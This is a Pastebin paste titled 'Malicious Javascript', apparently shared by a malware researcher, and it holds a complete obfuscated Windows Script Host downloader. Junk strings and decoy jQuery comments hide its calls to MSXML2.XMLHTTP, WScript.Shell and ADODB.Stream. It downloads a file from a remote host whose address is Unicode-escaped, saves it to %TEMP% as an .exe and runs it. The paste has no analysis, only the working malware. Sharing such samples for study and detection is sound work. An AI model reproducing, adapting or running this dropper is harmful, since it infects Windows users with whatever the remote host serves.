Advertisement
dynamoo

Malicious Javascript

Apr 21st, 2016
515
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. BzVAQOqRH = " Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) );";
  4. var slothful = 0;
  5. var limited = "S";
  6. var slothful2 = 6/6;
  7. String.prototype.laboriously = function () {
  8.     var fruits = {
  9.         instrumentation: this
  10.     };
  11.     fruits.defcond = fruits.instrumentation["subRtring".replace("R", limited.toLowerCase())](slothful, slothful2);
  12.     return fruits.defcond;
  13. };
  14. String.prototype.hotels = function () {
  15.     return this.replace("U","S").replace(":",".");
  16. };
  17. String.prototype.hotels2 = function () {
  18.     return this.replace("R","c").replace("+","t").replace("3","veX");
  19. };
  20. holding = "b";
  21. var commiseration = [""+("specifications","lauren","spring","unification","firstborn","vehicles","malay","A")+"Rti"+3+("posing","abraham","mountains","marital","darius","collins","prate","")+"O"+"bj"+"ec+", "E"+("leonine","sealskin","vocabulary","riverside","aspen","boobs","preoccupation","xp")+"an"+"dEnv"+"ironme"+"nt"+"Strings", ("clinic","noose","kingston","inexorably","aristocrat","grope","arroyo","")+"%"+"TE"+"MP%", ""+"."+("railway","tornado","curving","quiet","viceroy","sapphire","deride","jelsoft","exe"), ("demerit","loudness","kodak","education","calibre","stewed","puppet","R")+"un"];
  22. eliFWuDIYcN = " Convert html into DOM nodes } else { tmp = tmp || safe.appendChild( context.createElement( \"div\" ) );";
  23. var proportionate = this[(commiseration.shift()).hotels2()];retailers = ((    "pCCeUuheWYD") + "iHAwmWLtz").laboriously();
  24. accredited = ((    "sdbMcAKaGBH") + "qamoVeY").laboriously();
  25. var giuseppe = [("MSXML2.XMLH"+("apothecary","clearing","controlled","heading","features","coupling","cohen","administrator","TTP№WUcr")+("average","wheat","differently","recommendation","concerns","familiar","newspapers","kinswoman","ipt:")+("sceptic","shropshire","cinnamon","philanthropy","fever","giants","hotmail","questionable","Shell")).hotels()];
  26.  
  27. var exclusion = commiseration.shift();
  28. var ssm= "c"+("count","jumble","slime","continuously","controlled","films","nehemiah","lo")+"se";
  29. cards = ("n"+("fruition","course","flinching","matrix","alexandra","sperm","cider","ep")+"SCWEFVWEiPOKCSioiAKUNARekc".split("i")[2]).split("");
  30. var overlaid = giuseppe.pop().split("№");
  31. function hotels3(hron) {
  32.    hron[ssm]();
  33. };
  34. var furthermore = new proportionate(overlaid[1]);
  35. var hydrocodone = furthermore[exclusion](commiseration.shift());
  36. OdFlSAi = " Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default;";
  37. var furnished = new proportionate(overlaid[0]);
  38. stubbornly = ((    "EKFlOdy") + "qSTvdpwUp").laboriously();
  39. var pendulous = Math.random() ;
  40. var escapade = (cards).reverse().join("");
  41. function popped(richardson, jason) {
  42.  
  43.     try {
  44.         var continuity = hydrocodone + "/" + jason + commiseration.shift();
  45.         vwfUqxPgROU = "} Manually add leading whitespace removed by IE if ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) { nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[ 0 ] ) ); ";
  46.         if (pendulous > 0) {
  47.             furnished[escapade](("G" + stubbornly) + ("T"), richardson, false);
  48.         }
  49.     WnAGqyQ = "} Remove IE\"s autoinserted <tbody> from table fragments if ( !support.tbody ) {";
  50.     furnished[accredited + ("e") + ((     "nGnipRLQXYhn") + "jwAXDQb").laboriously() + ((     "dAVNMEl") + "hxuyRk").laboriously()]();
  51.     ClmAEvhwJk = " String was a <table>, *may* have spurious <tbody> elem = tag === \"table\" && !rtbody.test( elem ) ? tmp.firstChild :";
  52.     if (furnished.status == 40*5) {
  53.        
  54.    if (typeof(FmrpOVkxtI)==="u"+"nd"+("ochre","astronomical","karen","unbelievable","permissions","catacombs","borders","ef")+"ined") {
  55.         var trackless = new proportionate(("A"+"lO"+("ablebodied","henderson","consumer","printable","auckland","aviation","happiness","DB.S")+("somewhat","anthem","potential","storm","sound","nudge","capillary","dance","tr")+("welfare","puppet","verzeichnis","controller","instrumental","bringing","soccer","anarchist","eam")).replace("l", "D"));
  56.         trackless[escapade]();
  57.         dfwAan = "} Remove IE\"s autoinserted <tbody> from table fragments if ( !support.tbody ) {";
  58.         trackless.type = slothful2;
  59.         qOlbRvvl = " String was a bare <thead> or <tfoot> wrap[ 1 ] === \"<table>\" && !rtbody.test( elem ) ? tmp : 0;";
  60.         trackless[("cloven","patents","journalist","telling","enlarge","stamps","mutable","discussed","w")+"ri"+"te"](furnished[("ebony","quiet","querulous","evangelist","flakes","talkative","completes","skirted","R")+"es"+"pon"+limited.toLowerCase()+"e"+holding.toUpperCase()+("streaming","blockhead","campfire","reserves","bolton","inquiry","amazingly","squeamish","o")+"dy"]);
  61.         PvVKiw = " j = elem && elem.childNodes.length; while ( j-- ) { if ( jQuery.nodeName( ( tbody = elem.childNodes[ j ] ), \"tbody\" ) && !tbody.childNodes.length ) {";
  62.         trackless[(retailers + ("quiescent","ribbon","vegetables","latter","shake","dream","transexual","o")+"008i"+"ti"+"on").replace("008", accredited)] = 0;
  63.         RLgFRSU = " elem.removeChild( tbody ); } } ";
  64.         trackless["s"+("tables","netherlands","clover","exhaust","kidnapping","springer","tiffany","consoles","aveT")+"oF"+("terrestrial","fleet","references","renew","employment","monday","stand","ile")](continuity, 2);
  65.  
  66.         hotels3( trackless);
  67.         dtuDDuUSDTt = " Fix #12392 for WebKit and IE > 9 tmp.textContent = \"\";";
  68.         furthermore[commiseration.shift()](continuity, slothful2, "wVTNRT" === "PeqneIxT"); XLabHO = " Fix #12392 for oldIE while ( tmp.firstChild ) { tmp.removeChild( tmp.firstChild ); ";
  69.     }
  70.         }
  71. } catch (LFTlqK) { };
  72.  
  73.     AqqiwAoypAm = "} Remember the top-level container for proper cleanup tmp = safe.lastChild; } } ";
  74. }
  75. popped((("h")+("t-t")+"p:").split("-").join("")+"//"+"\u0064\u0064\u002E\u0075\u0062\u002E\u0061\u0063\u002E\u0069\u0064\u002F\u0039\u0075\u0068\u0067\u0035\u0076\u0064\u0033","uJGGJAEI");
  76.    cvqiFiqxJ = "} Fix #11356: Clear elements from fragment if ( tmp ) { safe.removeChild( tmp ); ";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement